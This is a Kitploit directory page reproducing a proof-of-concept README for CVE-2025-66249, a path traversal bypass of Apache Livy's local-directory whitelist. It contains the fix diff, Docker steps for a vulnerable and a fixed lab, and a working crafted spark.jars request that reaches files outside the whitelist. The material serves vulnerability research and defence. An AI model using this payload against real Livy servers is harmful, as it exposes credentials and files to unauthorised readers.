Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-66249-POC — Apache Livy パストラバーサル ホワイトリストバイパス脆弱性のPOC | Kitploit
ツール/GitHubGitHub/sid6224/cve-2025-66249-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubsid6224/cve-2025-66249-poc

CVE-2025-66249-POC

Apache Livy パストラバーサル ホワイトリストバイパス脆弱性のPOC

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-66249 — Apache Livy パストラバーサル ホワイトリスト回避

CVE Livy Severity CWE Type License Platform Language

教育およびセキュリティ研究目的のみに使用してください。所有していないシステム、または明示的な書面による許可を得ていないシステムに対して使用しないでください。→ 完全な免責事項


概要

フィールド詳細
CVE IDCVE-2025-66249
深刻度重要(CVSS 該当なし — 2026-03-15 時点で NVD の評価待ち)
影響を受けるバージョンApache Livy 0.3.0-incubating 〜 0.8.0-incubating — livy.file.local-dir-whitelist がデフォルト以外の値に設定されている場合のみ
修正バージョンApache Livy 0.9.0-incubating
CWECWE-22: 制限付きディレクトリへのパス名の制限が不適切('パストラバーサル')
開示日2026-03-12(OSS-Sec)/ 2026-03-13(NVD)
報告者Hiroki Egawa(発見者)

脆弱性の説明

Livy の REST または JDBC インターフェースにアクセスできる認証済みユーザーは、 許可されたディレクトリのホワイトリストを逸脱するように細工されたファイルパス設定値を含む Spark セッションまたはバッチジョブを送信できます。

根本原因 — ホワイトリストチェックにおけるパストラバーサル回避(Session.scala)

livy.file.local-dir-whitelist が設定されている場合、Livy 0.8.0 は送信された パスを Java の String.startsWith() を未正規化(raw)のままのパスに対して呼び出して検証します。 このチェックは ../ によるトラバーサルシーケンスを使用して回避できます:

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt

生の文字列は /opt/safe-data で始まるためチェックは通過しますが、そのパスは /opt/sensitive/secret.txt に解決され、これはホワイトリストされたディレクトリの完全に外側にあります。

発動条件: この脆弱性は livy.file.local-dir-whitelist が**デフォルト以外(非空)**の値に 設定されている場合にのみ悪用可能です。ホワイトリストが空(デフォルト)の場合、パス検証は 完全にスキップされ、この問題は発動しません。

影響: Livy REST API 経由でセッションを送信する攻撃者は、Livy サーバーのホスト上の 任意のローカルファイルを参照できます。共有アナリティクスクラスタでは、これは Livy プロセスユーザーが読み取り可能な資格情報、キー、設定ファイル、その他あらゆるデータの 漏洩につながる可能性があります。


影響を受けるソースファイル

ファイル — Session.scala

脆弱性あり(v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

修正済み(v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala


ソースコード — クローンコマンド

両バージョンは、以下の正確なコマンドを使用して Apache Livy 公式 GitHub リポジトリから 直接クローンしました:

リポジトリ: https://github.com/apache/incubator-livy

root@kitploit:~
# Vulnerable version — cloned into ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.8.0

# Fixed version — cloned into ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.9.0
バージョンタグ解決済みコミットローカルパス
0.8.0-incubatingv0.8.0-incubating78b512658e4baf1183f2b352203ada1928d8111a./livy-0.8.0/
0.9.0-incubatingv0.9.0-incubating7215f209b25b96488189567807eaded00953a492./livy-0.9.0/

正確なコード差分

修正 — Session.scala: ホワイトリストチェック前に Paths.get().normalize() を実行

root@kitploit:~
 import java.io.InputStream
 import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
 import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
 import java.util.UUID

 ...

     if (resolved.getScheme() == "file") {
       // Make sure the location is whitelisted before allowing local files to be added.
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }

v0.8.0 での影響: 生の文字列に対する startsWith チェックは、パストラバーサルペイロードによって回避される可能性があります。

例: livy.file.local-dir-whitelist = /opt/safe-data の場合

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt
  • v0.8.0: "/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true(回避成功)
  • v0.9.0: Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt /opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false(ブロック)

差分は、両タグをローカルにクローンし(上記参照)、以下を実行して生成しました:

root@kitploit:~
diff -u \
    livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
    livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

攻撃ベクトルの概要

root@kitploit:~
Attacker (authenticated REST/JDBC user)
    │
    ▼
POST /sessions
{
  "conf": {
    "spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
    ← path starts with whitelisted prefix — String.startsWith() passes
    ← but resolves OUTSIDE the directory via ../ traversal
  }
}
    │
    ▼
Livy 0.8.0 — whitelist check bypassed (raw startsWith, no normalisation)
    │
    ▼
Spark reads the file and distributes it to executors
    │
    ▼
Attacker retrieves file contents via job output / logs

テスト環境

この PoC の全ステップは以下のシステムで実行・検証しました:

コンポーネント詳細
ホスト OSUbuntu 24.04.4 LTS (Noble Numbat)
カーネル6.17.0-14-generic x86_64
アーキテクチャx86_64
総メモリ15 GiB
Docker Engine28.2.2
ホスト JDKOpenJDK 17.0.18(ホストのみで使用 — コンテナは eclipse-temurin:11-jdk-focal を使用)
コンテナベースイメージeclipse-temurin:11-jdk-focal(JDK 11、Ubuntu Focal)
Spark バージョン(両イメージ)3.1.3 with Hadoop 3.2
Livy バージョン — 脆弱性ありイメージ0.8.0-incubating
Livy バージョン — 修正済みイメージ0.9.0-incubating

ディレクトリ構成

root@kitploit:~
CVE-2025-66249-POC/
├── docker/
│   ├── fixed/
│   │   ├── Dockerfile
│   │   ├── livy.conf
│   │   └── start.sh
│   └── vulnerable/
│       ├── Dockerfile
│       ├── livy.conf
│       └── start.sh
├── test/
│   └── validate.sh
├── .gitignore
├── LICENSE
└── README.md

概念実証(Proof of Concept)

概要

root@kitploit:~
docker/vulnerable/   →  image: cve-2025-66249-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  image: cve-2025-66249-fixed        (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  single script, run unchanged against both environments

完全なエンドツーエンドの手順 — 以下のステップ 1 から 4 を順番に実行してください:

root@kitploit:~
Step 1: Build vulnerable image  →  start container  →  verify Livy is up
Step 2: Run validate.sh         →  confirm VULNERABLE (attack HTTP 201)   →  stop container
Step 3: Build fixed image       →  start container  →  verify Livy is up
Step 4: Run validate.sh         →  confirm FIXED    (attack HTTP 400)     →  stop container

注: Livy は docker run 実行後、準備完了になるまで約 15〜20 秒かかります。 以下のすべてのステップでは、API 呼び出しの前に明示的な sleep 20 を含めています。


ステップ 1 — 脆弱性のある環境のビルドと起動(Livy 0.8.0 + Spark 3.1.3)

ファイル:

  • docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal、Spark 3.1.3、Livy 0.8.0-incubating
  • docker/vulnerable/livy.conf — 0.0.0.0:8998 にバインド、ローカルモード、ホワイトリスト = /opt/safe-data

1a. イメージをビルド:

root@kitploit:~
docker build -t cve-2025-66249-vulnerable docker/vulnerable/

検証 — イメージが作成されたことを確認:

root@kitploit:~
docker images cve-2025-66249-vulnerable

期待される出力:

root@kitploit:~
REPOSITORY                  TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-vulnerable   latest    <id>       <time>    <size>

1b. コンテナを起動:

root@kitploit:~
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable

検証 — コンテナが実行中であることを確認:

root@kitploit:~
docker ps --filter name=livy-vulnerable

期待される出力:

root@kitploit:~
CONTAINER ID   IMAGE                       COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-vulnerable   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-vulnerable

1c. Livy の起動を待ってから REST API を確認:

Livy がリクエストを処理できるようになるまで約 15〜20 秒かかります。

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

期待される出力:

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

1d. コンテナ内のディレクトリ構成を検証:

ホワイトリストされた安全なファイルが存在することを確認:

root@kitploit:~
docker exec livy-vulnerable cat /opt/safe-data/safe.txt

期待される出力:

root@kitploit:~
This file lives inside the whitelisted directory.

ホワイトリスト外の機密ファイルが存在することを確認:

root@kitploit:~
docker exec livy-vulnerable cat /opt/sensitive/secret.txt

期待される出力:

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

ステップ 2 — 脆弱性のある環境に対する検証の実行

ステップ 1 の脆弱性のあるコンテナがポート 8998 で引き続き実行されている必要があります。

test/validate.sh がテストする内容:

#攻撃ペイロードキーLivy 0.8.0 で期待される結果
1Session.scala の String.startsWith() によるパストラバーサル../ トラバーサルを含む spark.jarsHTTP 201 — トラバーサルがホワイトリストを回避

2a. スクリプトを実行:

root@kitploit:~
bash test/validate.sh

注: validate.sh の動作は次のとおりです:

  1. GET /sessions をポーリングして Livy が応答するまで(最大 60 秒)待機し、サーバーの準備完了を確認します。
  2. curl を使用して POST /sessions リクエストを送信します。ホワイトリスト外のファイル(/opt/sensitive/secret.txt)を ../ トラバーサルで参照する細工された conf ペイロードを送信します。
  3. HTTP レスポンスコードを読み取ります: 201 は Livy が正規化なしでパスを受け入れた(脆弱)ことを意味し、400 は Livy が正規化後に拒否した(修正済み)ことを意味します。
  4. セッションが作成された場合(HTTP 201)、スクリプトは DELETE /sessions/{id} で直ちにセッションを削除し、サーバーをクリーンな状態に保ちます。
  5. テスト後にサマリーを出力し、終了コード 1(脆弱)または 0(修正済み)で終了するため、自動化パイプラインでの使用に適しています。

期待される出力:

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 201
RESPONSE  : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
             Path was NOT normalised — traversal bypasses whitelist check.

RESULT: VULNERABLE — exit code 1

2b. 脆弱性のあるコンテナを停止して削除:

root@kitploit:~
docker stop livy-vulnerable && docker rm livy-vulnerable

検証 — コンテナが完全に削除されたことを確認:

root@kitploit:~
docker ps -a --filter name=livy-vulnerable

期待される出力(空 — 行なし):

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

ステップ 3 — 修正済み環境のビルドと起動(Livy 0.9.0 + Spark 3.1.3)

ファイル:

  • docker/fixed/Dockerfile — ベースイメージと Spark 3.1.3 は同一で、Livy のバージョンのみ 0.9.0-incubating に変更
  • docker/fixed/livy.conf — docker/vulnerable/livy.conf と同一(ホワイトリスト、ポート、モードは同じ)

Spark、ベースイメージ、およびすべての設定をステップ 1 と同一に保つことで、Livy だけを唯一の変数として隔離します。

3a. イメージをビルド:

root@kitploit:~
docker build -t cve-2025-66249-fixed docker/fixed/

検証 — イメージが作成されたことを確認:

root@kitploit:~
docker images cve-2025-66249-fixed

期待される出力:

root@kitploit:~
REPOSITORY             TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-fixed   latest    <id>       <time>    <size>

3b. コンテナを起動:

root@kitploit:~
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed

検証 — コンテナが実行中であることを確認:

root@kitploit:~
docker ps --filter name=livy-fixed

期待される出力:

root@kitploit:~
CONTAINER ID   IMAGE                  COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-fixed   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-fixed

3c. Livy の起動を待ってから REST API を確認:

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

期待される出力:

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

3d. コンテナ内のディレクトリ構成を検証:

修正済みコンテナは脆弱性のあるコンテナと同一のフィクスチャを使用しています。これにより、 2 つの環境間の唯一の変数が Livy のバージョンであることを確認できます。

ホワイトリストされた安全なファイルが存在することを確認:

root@kitploit:~
docker exec livy-fixed cat /opt/safe-data/safe.txt

期待される出力:

root@kitploit:~
This file lives inside the whitelisted directory.

ホワイトリスト外の機密ファイルが存在することを確認:

root@kitploit:~
docker exec livy-fixed cat /opt/sensitive/secret.txt

期待される出力:

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

ステップ 4 — 修正済み環境に対して同じ検証を実行

ステップ 3 の修正済みコンテナがポート 8998 で実行されている必要があります。 スクリプトは同一です — 変更はありません。

ステップ 2 とステップ 4 の違い:

  • 同じペイロード、同じスクリプト
  • Livy 0.9.0 はホワイトリストチェック前に Paths.get().normalize() でパスを正規化するようになった
  • 攻撃はセッション作成前に HTTP 400 で拒否される

4a. スクリプトを実行:

root@kitploit:~
bash test/validate.sh

期待される出力:

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path normalisation blocked the traversal.

RESULT: FIXED — exit code 0

エラーメッセージが確認できること:

攻撃HTTPエラーメッセージ修正された根本原因
spark.jars によるパストラバーサル400Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions.Session.scala に Paths.get(...).normalize() を追加。ホワイトリスト比較の前に ../ を解決

4b. 修正済みコンテナを停止して削除:

root@kitploit:~
docker stop livy-fixed && docker rm livy-fixed

検証 — コンテナが完全に削除されたことを確認:

root@kitploit:~
docker ps -a --filter name=livy-fixed

期待される出力(空 — 行なし):

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

推論

CVE-2025-66249 は、Livy のローカルファイルシステムアクセスパスを保護する ホワイトリスト適用における、単一の焦点を絞ったロジック上の欠陥です。

ホワイトリスト(livy.file.local-dir-whitelist)は影響を受けるすべてのバージョンに存在し、 正しく設定されていました。欠陥はホワイトリストの評価方法にありました:

パストラバーサル回避(唯一の弱点): Session.scala のホワイトリスト比較は、 生のパス文字列に対して Java の String.startsWith() を使用していました。これは .. トラバーサルセグメントを考慮しないため、ファイルシステムのパス比較としては不十分です。 /opt/safe-data/../sensitive/secret.txt のようなパスは、ホワイトリスト項目 /opt/safe-data に対する 文字列チェックを満たしますが、実際にはその完全に外側の場所に解決されます。

0.9.0 の修正は最小限かつ的を絞ったものです: ホワイトリスト比較の前に Paths.get().normalize() への呼び出しが 1 つ追加されています。これにより、startsWith チェックが実行される前にすべての .. セグメントが解決されるため、トラバーサルペイロードは 許可されたディレクトリの外を指していると正しく識別されます。

防御側にとっての重要な教訓: この脆弱性は、livy.file.local-dir-whitelist が 非空の値に設定されている場合にのみ悪用可能です。これはデフォルト設定が直接的な影響を 受けないことを意味しますが、ホワイトリストを厳格化した(つまり、Livy がアクセスできる ディレクトリを明示的に制限した)デプロイメントこそが、皮肉にも露出することになります — なぜなら、欠陥のあるコードパスを有効にするのはホワイトリストの存在だからです。 Livy 0.9.0-incubating へのアップグレードが唯一の完全な修復策です。


参考情報

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-66249
  • OSS-Sec 開示: http://www.openwall.com/lists/oss-security/2026/03/12/2
  • Apache メーリングリスト: https://lists.apache.org/thread/1xwphsfn4jbtym4k4o0zlvwfogwqwwc3
  • Apache Livy プロジェクト: https://livy.apache.org/

謝辞

  • Hiroki Egawa — CVE-2025-66249 を Apache Security Team に報告したオリジナルの報告者。
  • Apache Livy maintainers — v0.9.0-incubating における迅速なトリアージと的を絞った修正に対して。
  • Apache Security Team — 責任ある開示プロセスの調整に対して。
  • OSS-Sec community — 独立した分析を可能にした公開開示スレッドに対して。

貢献(Contributing)

この PoC またはドキュメントを改善するための貢献を歓迎します! 貢献する際は、以下を遵守してください:

  • 責任ある開示の慣行に従うこと
  • 適切な免責事項を含めること
  • 教育デモンストレーションを超える悪意のあるコードを含めないこと
  • 教育的価値に焦点を当て続けること

貢献するには、プルリクエストを開くか、提案する変更を説明するイシューを登録してください。


ライセンス

このプロジェクトは MIT License の下でライセンスされています。


免責事項

このリポジトリは教育およびセキュリティ研究目的のみのものです。概念実証は、 理解と防御策を助けるために脆弱性のメカニズムを示しています。所有していないシステム、 または明示的な書面による許可を得ていないシステムに対して使用しないでください。


タグ

cve-2025-66249 apache-livy path-traversal whitelist-bypass cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0 security-research proof-of-concept docker java scala vulnerability-analysis rest-api-security string-startswith-bypass path-normalisation

ツールをダウンロード